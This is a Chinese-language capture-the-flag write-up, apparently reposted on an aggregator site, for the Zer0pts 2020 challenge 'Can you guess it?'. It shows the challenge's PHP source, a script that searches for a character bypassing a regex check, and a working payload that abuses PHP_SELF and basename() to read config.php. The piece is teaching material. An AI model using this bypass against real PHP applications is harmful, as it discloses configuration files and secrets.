首页 > 其他 > 详细

[Zer0pts2020]Can you guess it?

时间:2020-09-18 18:54:02      阅读:100      评论:0      收藏:0      [点我收藏+]

源码

<?php
include ‘config.php‘; // FLAG is defined in config.php

if (preg_match(‘/config\.php\/*$/i‘, $_SERVER[‘PHP_SELF‘])) {
  exit("I don‘t know what you are thinking, but I won‘t let you read it :)");
}

if (isset($_GET[‘source‘])) {
  highlight_file(basename($_SERVER[‘PHP_SELF‘]));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST[‘guess‘])) {
  $guess = (string) $_POST[‘guess‘];
  if (hash_equals($secret, $guess)) {
    $message = ‘Congratulations! The flag is: ‘ . FLAG;
  } else {
    $message = ‘Wrong.‘;
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I‘ll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

根据题目提示,flag在config.php文件中,通过?source读取
$_SERVER[‘PHP_SELF‘]返回的是当前正在执行的脚本的名字
basename("/path/home.php") -> home.php
如果是/index.php/config.php/,则$_SERVER[‘PHP_SELF‘]返回/index.php/config.php/
技术分享图片

技术分享图片

/index.php/config.php运行的是index.php,但是basename()获取到的是config.php,然后再通过?source读取
这里找一下能绕过正则的字符,脚本来自https://darkwing.moe/2020/03/10/Can-you-guess-it-zer0pts-CTF-2020/?utm_source=tuicool&utm_medium=referral

<?php
function check($str){
    return preg_match(‘/config\.php\/*$/i‘, $str);
}
for ($i = 0; $i < 255; $i++){
    $s = ‘/index.php/config.php/‘.chr($i);
    if(!check($s)){
        $t = basename(‘/index.php/config.php/‘.chr($i));
        echo "${i}: ${t}\n";
    }
}
?>

技术分享图片
128 -> 0x80
最后的payload
/index.php/config.php/%80?source

参考https://darkwing.moe/2020/03/10/Can-you-guess-it-zer0pts-CTF-2020/?utm_source=tuicool&utm_medium=referral

[Zer0pts2020]Can you guess it?

原文:https://www.cnblogs.com/mech/p/13692387.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!